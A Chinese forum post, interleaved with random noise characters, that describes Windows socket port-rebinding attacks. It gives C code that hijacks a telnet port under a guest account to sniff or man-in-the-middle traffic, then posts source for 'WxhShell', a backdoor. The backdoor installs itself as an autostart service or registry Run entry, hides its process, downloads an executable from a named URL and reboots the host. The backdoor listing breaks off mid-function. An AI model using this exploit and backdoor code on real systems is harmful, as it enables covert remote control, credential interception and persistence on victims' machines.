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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GiJ *Wp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); jkQ*D(;p  
J9..P&c\  
  saddr.sin_family = AF_INET; 0B[="rTS7#  
*Hg>[@dP0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2\)xpOj  
]dF ,:8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |sa]F5  
SDC4L <!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 'Y?"{HZ  
_1!7V3|^  
  这意味着什么?意味着可以进行如下的攻击: 2my_;!6T[  
*~2,/D  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #F:p-nOq  
+*\u :n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i9rN9Mq?O  
]q\b,)4 e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?#Ge.D~u  
?)/#+[xa  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3t.l5m Rg5  
dR K?~1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 adlV!k7RG  
Eu0akqZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 pk>^?MO  
Ih@61>X.o*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  ''|W9!  
GmK^}=frj  
  #include O],T,Z?z  
  #include cv8L-Z>x.=  
  #include G%BjhpL  
  #include    pD(j'[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ( B!uy`  
  int main() 1eA7>$w}[  
  { \c,ap49RC  
  WORD wVersionRequested; N>Xo_-QCY  
  DWORD ret; p}&#jE  
  WSADATA wsaData; {M3qLf~z#C  
  BOOL val; ?llXd4  
  SOCKADDR_IN saddr; Id*Ce2B  
  SOCKADDR_IN scaddr; hC:n5]K  
  int err;  JR'  
  SOCKET s; q~ tz? T_  
  SOCKET sc; Mc@e0  
  int caddsize; 8."]//V  
  HANDLE mt; \Bz_p'[G  
  DWORD tid;   Y21g{$~Q{  
  wVersionRequested = MAKEWORD( 2, 2 ); AW%50V  
  err = WSAStartup( wVersionRequested, &wsaData ); &)2i[X  
  if ( err != 0 ) { 0mpX)S  
  printf("error!WSAStartup failed!\n"); #akpXdXs  
  return -1; "33Fv9C#bK  
  } 0Vj4+2?L5;  
  saddr.sin_family = AF_INET; D{!6Y*d6&s  
   'QJ:`)z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 90Pl$#cb2  
Fiv3 {.  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,Z aRy$?  
  saddr.sin_port = htons(23); {SOr#{1z*  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <5d ~P/,  
  { FO+Zue.RS  
  printf("error!socket failed!\n"); `-.%^eIp  
  return -1; svsqg{9z  
  } -#7'r<I9@  
  val = TRUE; LuNc, n%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dW)B1iUo!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2$9odD<r  
  { Ac96 [  
  printf("error!setsockopt failed!\n"); =MSr/O2  
  return -1; e%@'5k\SK  
  } iMAfJ-oN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :Hn6b$Vy8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :uP,f<=)K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kh!FR u h  
[O$Wa:< 0x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VdPtPq1  
  { ?OId\'q  
  ret=GetLastError(); \?w2a$?6w  
  printf("error!bind failed!\n"); !6n_}I-W  
  return -1; rTM}})81  
  } hmvfw:Nq4  
  listen(s,2); kC WEtbz1  
  while(1) &@G:G(  
  { PZ2;v<  
  caddsize = sizeof(scaddr); Z.c'Hs+;  
  //接受连接请求 nR7d4)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [\'%?BH(^  
  if(sc!=INVALID_SOCKET) k\wW##=v  
  { "76 ]u)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <W|3\p6  
  if(mt==NULL) H6kR)~zhf  
  { 3e #p @sB  
  printf("Thread Creat Failed!\n"); ;}7Rjl#  
  break; E08 klC0  
  } "K  ~  
  } k;2GEa]w  
  CloseHandle(mt); wZG\>9~  
  } FI[A[*fi  
  closesocket(s); 3Q"<<pi!~  
  WSACleanup(); lun#^J  
  return 0; pSoiH<33  
  }   +GG9^:<yr  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;>#wU'  
  { < nXL  
  SOCKET ss = (SOCKET)lpParam; 'ZT^PV \  
  SOCKET sc; 1Y/s%L  
  unsigned char buf[4096]; +vvv[  
  SOCKADDR_IN saddr; XO`0>^g  
  long num; dpJ_r>NI  
  DWORD val; ?b*s. ^  
  DWORD ret; RdWRWxTn8+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ? Fi=P#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]|!OP  
  saddr.sin_family = AF_INET; F{Z~ R  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); }e!x5g   
  saddr.sin_port = htons(23); rEv@Y D  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2gc/3*F8  
  { QU4h8}$  
  printf("error!socket failed!\n"); #J@[Wd  
  return -1; s2teym,uG  
  } h xSKG  
  val = 100; :S.9eFfa  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (XeE2l2M  
  { %Da8{%{`Pc  
  ret = GetLastError(); Mx&&0#;r  
  return -1; 6tB+JF  
  } E;,u2[3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $g/SWq  
  { t|a2;aq_  
  ret = GetLastError(); 8u"!dq  
  return -1; 4P'*umJi  
  } !5.8]v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) MTsM]o  
  { ?: N @!jeJ  
  printf("error!socket connect failed!\n"); Hx#;Z  
  closesocket(sc); ahuGq'  
  closesocket(ss); ?/BqD;{?I  
  return -1; K$>%e36Cc  
  } ->sm+H-*  
  while(1) {F3xJ[  
  { p rYs $j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &{ay=Mj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5XO;N s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q7*SE%H  
  num = recv(ss,buf,4096,0); YX=a#%vrl  
  if(num>0) kv3E4,<9  
  send(sc,buf,num,0); 3_txg>P"  
  else if(num==0) sA/pVU  
  break; %oq{L]C(rf  
  num = recv(sc,buf,4096,0); +Fuqch jq  
  if(num>0) 1|RANy  
  send(ss,buf,num,0); =5Q]m6-SgV  
  else if(num==0) Ewu O&q  
  break; >XK PTC5H  
  } d^RxQuA  
  closesocket(ss); IHe/xQ@  
  closesocket(sc); /~}}"zx&  
  return 0 ; `Zf^E >)  
  } 1HXjN~XF  
DAS/43\  
[ p{#XwN  
========================================================== T@G?t0  
J!0DR4=Xi  
下边附上一个代码,,WXhSHELL !6BW@GeF]  
^=T$&gD  
========================================================== g,}_G3[j0m  
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#include "stdafx.h" ;-9=RI0  
$eD.W  
#include <stdio.h> F5?m6`g?  
#include <string.h> vtw6FX_B  
#include <windows.h> t\Nq R  
#include <winsock2.h> ?kWC}k{  
#include <winsvc.h> 'h/CoTk@,  
#include <urlmon.h> a d.3A{  
G"\`r* O  
#pragma comment (lib, "Ws2_32.lib") I Y2)?"A  
#pragma comment (lib, "urlmon.lib") X*M#FT-  
|kw)KEi}H  
#define MAX_USER   100 // 最大客户端连接数 U F?H>Y&  
#define BUF_SOCK   200 // sock buffer U@gn;@\  
#define KEY_BUFF   255 // 输入 buffer d\p,2  
#N#'5w-G  
#define REBOOT     0   // 重启 FuVnk~gq  
#define SHUTDOWN   1   // 关机 .$Ik`[+Z  
Y]NSN-t  
#define DEF_PORT   5000 // 监听端口 \]&#%6|V  
OZx W?wnd  
#define REG_LEN     16   // 注册表键长度 )>.&N[v  
#define SVC_LEN     80   // NT服务名长度 sArhZ[H  
}R1< 0~g  
// 从dll定义API s>0't  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vI2^tX 9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j/>$,   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $>GgB`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d{XO/YQw  
|(pRaiJ  
// wxhshell配置信息 %<E$,w>  
struct WSCFG { XM1WfjE\  
  int ws_port;         // 监听端口 Z3{>yYR+  
  char ws_passstr[REG_LEN]; // 口令 dls ss\c^M  
  int ws_autoins;       // 安装标记, 1=yes 0=no LO <  
  char ws_regname[REG_LEN]; // 注册表键名 zhpx"{_  
  char ws_svcname[REG_LEN]; // 服务名 [ JpKSTg[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `&KwtvkdI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PE~G=1x3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >H'4{|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m1),;RsH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $UgA0]q n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R#2t)y  
1abtgDL  
}; fJ/e(t  
~MS\  
// default Wxhshell configuration .#1~Rz1r  
struct WSCFG wscfg={DEF_PORT, 9A} # 6  
    "xuhuanlingzhe", jqv-D  
    1, Tsgk/e9K2?  
    "Wxhshell", 4"{ooy^Q  
    "Wxhshell", 2ggdWg7z  
            "WxhShell Service", ^~G8?]w  
    "Wrsky Windows CmdShell Service", ^SxY IFL  
    "Please Input Your Password: ", &GlwC%$S  
  1, U4gF(Q  
  "http://www.wrsky.com/wxhshell.exe", '@p['#\uI  
  "Wxhshell.exe" @c<3b2  
    }; LUuZ9$t0J"  
6xWe=QGE  
// 消息定义模块 hJDi7P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :Qumb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >iD )eB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pV20oSJNt  
char *msg_ws_ext="\n\rExit."; MKy[hT:  
char *msg_ws_end="\n\rQuit."; zY,r9<I8_x  
char *msg_ws_boot="\n\rReboot..."; )6+eNsxMlC  
char *msg_ws_poff="\n\rShutdown..."; >c9a0A  
char *msg_ws_down="\n\rSave to "; nx8a$vI-TY  
#tZ4N7  
char *msg_ws_err="\n\rErr!"; |55N?=8  
char *msg_ws_ok="\n\rOK!"; &m|wH4\  
 AT9q3  
char ExeFile[MAX_PATH]; g{8,Wx,,  
int nUser = 0; 1jN-4&  
HANDLE handles[MAX_USER]; hg+X(0  
int OsIsNt; UG)8D5  
QS{1CC9$  
SERVICE_STATUS       serviceStatus; TYJ:!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3~}uqaGt  
2'_:S@  
// 函数声明 Z$0 uH*h  
int Install(void); eU<]o< \Qo  
int Uninstall(void); .2>p3|F  
int DownloadFile(char *sURL, SOCKET wsh); o'W5|Gy  
int Boot(int flag); QAvir%Y9Q  
void HideProc(void); @1DX  
int GetOsVer(void); !1q 9+e  
int Wxhshell(SOCKET wsl); E}sO[wNPf  
void TalkWithClient(void *cs); 6ek;8dL  
int CmdShell(SOCKET sock); e'0{?B  
int StartFromService(void); \|E^v6E%0  
int StartWxhshell(LPSTR lpCmdLine); AgFVv5  
-PS#Z0>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ai nG6Y<O`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =|I>G?g-  
PI`jExL  
// 数据结构和表定义 q o\?o    
SERVICE_TABLE_ENTRY DispatchTable[] = NX|v=  
{ [k6nW:C  
{wscfg.ws_svcname, NTServiceMain}, [ { bV4  
{NULL, NULL} mnmP<<8C,  
}; =$nB/K,8AX  
H&]gOs3So  
// 自我安装 yi l[gPy4B  
int Install(void) SE),":aY  
{ ``OD.aY^s  
  char svExeFile[MAX_PATH]; 'bo~%WA]n  
  HKEY key; VUhbD  
  strcpy(svExeFile,ExeFile); SQqD:{#g"  
uO=aaKG  
// 如果是win9x系统,修改注册表设为自启动 +"8,Mh  
if(!OsIsNt) { sFQ^2PwbS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #|*F1K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q($Z%1S  
  RegCloseKey(key); q-c=nkN3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DwrO JIy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S(uf(q|{  
  RegCloseKey(key); 'UMXq~RMe  
  return 0; gFHT G  
    } ,4ei2`wV  
  } "g' jPwFG  
} J41G&$j(  
else { e 46/{4F,  
< V\I~;  
// 如果是NT以上系统,安装为系统服务 (rkU)Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aj?a^}X  
if (schSCManager!=0) 'JNElXqrv  
{ 2n `S5(V  
  SC_HANDLE schService = CreateService =k/IaFg 6w  
  (  b^p"|L  
  schSCManager, cZT({uYGL  
  wscfg.ws_svcname, M-;4   
  wscfg.ws_svcdisp, lWqrU1Sjl  
  SERVICE_ALL_ACCESS, # g_Bx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #/I[Jqf  
  SERVICE_AUTO_START, ]|sAK%/  
  SERVICE_ERROR_NORMAL, 2Sh  
  svExeFile, NMww>80  
  NULL, ]ut5S>,"  
  NULL, $ZNu+tn Y  
  NULL, 8Goh4T H  
  NULL, Ay !G1;  
  NULL *Mw_0Y  
  ); CT1ja.\;  
  if (schService!=0) 2AtLyN'.  
  { (ZY@$''  
  CloseServiceHandle(schService); V^\8BVw  
  CloseServiceHandle(schSCManager); j%y$_9a7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6$ Gep  
  strcat(svExeFile,wscfg.ws_svcname); }J7zTj~{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <x&%~6j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Tp0bS  
  RegCloseKey(key); .N*Pl(<[  
  return 0; VMCLHpSfW  
    } Gkp< o  
  } dlG=Vq&Y  
  CloseServiceHandle(schSCManager); c wOJy >  
} $*kxTiG!7  
} I(9R~q  
"h|'}7p  
return 1; {'AWZ(  
} ;q:jl~  
($L Ll;1  
// 自我卸载 5ux`U{`m  
int Uninstall(void) me'd6!O9-  
{ 2KQoy;  
  HKEY key; cZ<A0  
ONCnVjZ  
if(!OsIsNt) { 3;8!rNN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,9P:Draxs`  
  RegDeleteValue(key,wscfg.ws_regname); ixV0|P8,c  
  RegCloseKey(key); r YF #^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }=|!:kiE  
  RegDeleteValue(key,wscfg.ws_regname); OQ,NOiNkap  
  RegCloseKey(key); ?_v{| YI=  
  return 0; V13BB44  
  } @c ~)W8  
} RGK8'i/X  
} ^mb[j`CCt  
else { ^1wA:?uN}  
r%e KFS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [Tnsr(Z  
if (schSCManager!=0) kFQ8 y~>y}  
{ z Nl ,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jZ%TJ0(H  
  if (schService!=0) \tRG1&{$%  
  { e#B#B  
  if(DeleteService(schService)!=0) { e5OsI Vtjr  
  CloseServiceHandle(schService); sg8/#_S1i  
  CloseServiceHandle(schSCManager); M{$j  
  return 0; )LdyC`S\c  
  } .-JCwnP  
  CloseServiceHandle(schService); Z(ZiFPx2Z  
  } ?]rPRV  
  CloseServiceHandle(schSCManager); VOr1  
} PC qZNBN  
} (D 9Su^:1  
@rHK( 25+d  
return 1; YhRWz=l  
} [y0O{,lI  
HBY.DCN[Z  
// 从指定url下载文件 2QNNp:`6  
int DownloadFile(char *sURL, SOCKET wsh) i@][rdhT  
{ -kS~xVS|  
  HRESULT hr; 9m-)Xdoy  
char seps[]= "/"; w ~ dk#=  
char *token; .)+h H y  
char *file; ZlHDi!T  
char myURL[MAX_PATH]; 0Hs|*:Y1D  
char myFILE[MAX_PATH]; S=xA[%5  
XUF\r]B,9  
strcpy(myURL,sURL); [lk'xzE  
  token=strtok(myURL,seps); "7 v-` i  
  while(token!=NULL) k@ K7yK  
  { 3b YCOqG  
    file=token; zh $}~RG[  
  token=strtok(NULL,seps); l?iSxqdT  
  } \@>b;4Fb+N  
7t?*  
GetCurrentDirectory(MAX_PATH,myFILE); (n1Bh~R^  
strcat(myFILE, "\\"); 0I{gJSK.,  
strcat(myFILE, file); xP=/N!,#  
  send(wsh,myFILE,strlen(myFILE),0); lKkN_ (/j  
send(wsh,"...",3,0); S2>c#BQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s!9dQ.  
  if(hr==S_OK) |8bq>01~  
return 0; fgj^bcp-  
else '<R>E:5  
return 1; {} Bf   
O}[PJfvBHo  
} [I:KpAd/  
y}v+c%d  
// 系统电源模块 HK)cKzG[s!  
int Boot(int flag) {T'GQz+R"  
{ %hN.ktZ/s  
  HANDLE hToken; 4 V1bLm  
  TOKEN_PRIVILEGES tkp; ,+;:3gRk9  
@R m-CWa  
  if(OsIsNt) { D{v8q)5r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `p'Q7m2y/b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7n o5b] \  
    tkp.PrivilegeCount = 1; XM<KF &pVB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x"4} isp<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \7z^!m  
if(flag==REBOOT) { Ke-)vPc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wy]^Ub gW  
  return 0; ,&Wn [G<2  
} rtQHWRUn  
else { J4=_w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 81%8{yn!$"  
  return 0; =V97;kq+v  
} dJ:MjQG`W  
  } y[@\j9Hq  
  else { ^2o dr \  
if(flag==REBOOT) { H +bdsk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) idRD![!UI  
  return 0; LwuF0\  
} %~NH0oFO  
else { ZAuWx@}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qpJ{2Q  
  return 0; rs=q! P"u[  
} QHBtWQgS  
} 7{oe ->r  
YYg)  
return 1; T88Y qI  
} QIB>rQCceo  
IgL_5A  
// win9x进程隐藏模块 6O2=Ns;J6  
void HideProc(void) 7:NmCpgL!  
{ RQW6N??C  
5~XN>>hp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ":Edu,6O  
  if ( hKernel != NULL ) Lh$dzHq  
  {  \4ghYQ:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  6qo^2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s,*c@1f?  
    FreeLibrary(hKernel); 1on'^8]0  
  } s|bM%!$1  
~F, &GH  
return; ,}D}oo*  
} Uf*EJ1Ei  
n,M)oo1G  
// 获取操作系统版本 lz | 64J  
int GetOsVer(void) 1+y"i<3)  
{ Zt3}Z4d  
  OSVERSIONINFO winfo; ?lCd{14Mkh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K,xW6DiH  
  GetVersionEx(&winfo); ~<qt%W?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C.!_]Pxs  
  return 1; ALd;$fd qf  
  else Fs/?  
  return 0; Ix DWJ#k  
} zGcqzYbuA  
]"fsW 9s  
// 客户端句柄模块 &B{8uge1  
int Wxhshell(SOCKET wsl) |-2}j2'  
{ IF k  
  SOCKET wsh; &217l2X /  
  struct sockaddr_in client; `BZ&~vJ_  
  DWORD myID; |I[7,`C~  
'3l$al:H^  
  while(nUser<MAX_USER) $<?X7n^  
{ @=]8^?$t 0  
  int nSize=sizeof(client); KT*:F(4`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K=u0nrG*  
  if(wsh==INVALID_SOCKET) return 1; (d2@Mz  
q$ghLGz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ES:!Vx9t0|  
if(handles[nUser]==0) ;@4H5p  
  closesocket(wsh); &$fbP5uAZ  
else j,%EW+j$  
  nUser++; T*q"N?/4  
  } !#D=w$@r:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,i`h x, Rg  
W,hWOO  
  return 0; R 4EEelSZu  
} %I4zQiJ%  
q@#BPu"\l  
// 关闭 socket L0h G  
void CloseIt(SOCKET wsh) f_r0})  
{ \x\.  
closesocket(wsh); uVU`tDzd:  
nUser--; udqge?Tz  
ExitThread(0); Aa(<L$e!`  
} m24v@?*  
+GNWF% zN  
// 客户端请求句柄 $G?(OWI}l`  
void TalkWithClient(void *cs) %|Hp Bs#'  
{ ,=w!vO5s  
jD< pIHau  
  SOCKET wsh=(SOCKET)cs; M?6;|-HH  
  char pwd[SVC_LEN]; <4?*$  
  char cmd[KEY_BUFF]; mb\t/p  
char chr[1]; N7.  @FK  
int i,j; Gi$gtLtN h  
#Q6w+"  
  while (nUser < MAX_USER) { # 3.)H9  
$AwZ2HY  
if(wscfg.ws_passstr) { C!UEXj`l9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QPg2Y<2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E[S':Q  
  //ZeroMemory(pwd,KEY_BUFF); &6"P7X  
      i=0; 5Hle-FDn9  
  while(i<SVC_LEN) { ?V+wjw  
zO2{.4  
  // 设置超时 !kh{9I>M  
  fd_set FdRead; _g6wQdxT  
  struct timeval TimeOut; 5~xeO@%I  
  FD_ZERO(&FdRead); q) _r3   
  FD_SET(wsh,&FdRead); #S?c ;3-  
  TimeOut.tv_sec=8; >(tO QeN  
  TimeOut.tv_usec=0; ONWO`XD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); IQ{?_'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wznn #j  
t,Q'S`eTU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,8`O7V{W  
  pwd=chr[0]; Q&wYc{TUbm  
  if(chr[0]==0xd || chr[0]==0xa) { h ]}`@M"  
  pwd=0; `@\^m_!}  
  break; qhxC 5f4Z  
  } %gTVW!q  
  i++; j];G*-iv{  
    } Ut;'Gk  
_S<?t9mS  
  // 如果是非法用户,关闭 socket rIPl6,w~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x vJ^@w'  
} l'2H 4W_+  
b6Xi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )8]3kQffJ=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7<4xtK`+b  
ReqE?CeV  
while(1) { 8q*";>*  
MBv/  
  ZeroMemory(cmd,KEY_BUFF); LH.%\TMN$  
i0i`k^bA  
      // 自动支持客户端 telnet标准   .' IeHh  
  j=0; JP_kQ  
  while(j<KEY_BUFF) { q-uLA&4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #-dK0<:  
  cmd[j]=chr[0]; NCxn^$/+>9  
  if(chr[0]==0xa || chr[0]==0xd) { 500> CBL0O  
  cmd[j]=0; .]zw*t*  
  break; xx6S`R6:  
  } $$~a=q,P[  
  j++; 1!s!wQgS  
    } wJ(8}eI  
"_oLe;?$c  
  // 下载文件 JQH7ZaN  
  if(strstr(cmd,"http://")) { e9}8RHy1$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); XP4jZCt9  
  if(DownloadFile(cmd,wsh)) U>1b9G"_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mR!rn^<l  
  else :OX$LCi  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >OTl2F}4 !  
  } -Fa98nV.WB  
  else { -UTV:^  
 "YD.=s  
    switch(cmd[0]) { k)Zn>  
  P_mi)@  
  // 帮助 T#Fn:6_=  
  case '?': { AW62~*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mMslWe  
    break; fxOE]d8v  
  } <\Vi,,  
  // 安装 \E~Q1eAJT  
  case 'i': { Bjtj{B  
    if(Install()) CJ:uYXJJ:z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /xF 9:r  
    else rF'<r~Lw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $oc9 |Q 7  
    break; q:Wq8  
    } Qv\bLR  
  // 卸载 =_uol8v  
  case 'r': { ?|)rv  
    if(Uninstall()) gDMAc/V`l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %db3f z  
    else <qr^Nyo4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); srhFEmgN7)  
    break; 6G$/NW=L  
    } t+jIHo  
  // 显示 wxhshell 所在路径 hO%Y{Gg  
  case 'p': { we }#Ru*  
    char svExeFile[MAX_PATH]; <TL])@da  
    strcpy(svExeFile,"\n\r"); $>|?k$(x  
      strcat(svExeFile,ExeFile); (%Ng'~J\|  
        send(wsh,svExeFile,strlen(svExeFile),0); {GAsFnZk  
    break; y>%W;r)  
    } nQ!N}5[z'  
  // 重启 |iAEDZn  
  case 'b': { -S`TEX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E}Ljo  
    if(Boot(REBOOT)) *-{Omqw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BU'Ki \  
    else { &bn*p.=G  
    closesocket(wsh); QaIi.* tic  
    ExitThread(0); >Sh0dFqeT  
    } xP42xv9U  
    break; 2NyUmJ42  
    } hJ<:-u+yk}  
  // 关机 R !jhwY$  
  case 'd': { _ \_3s  
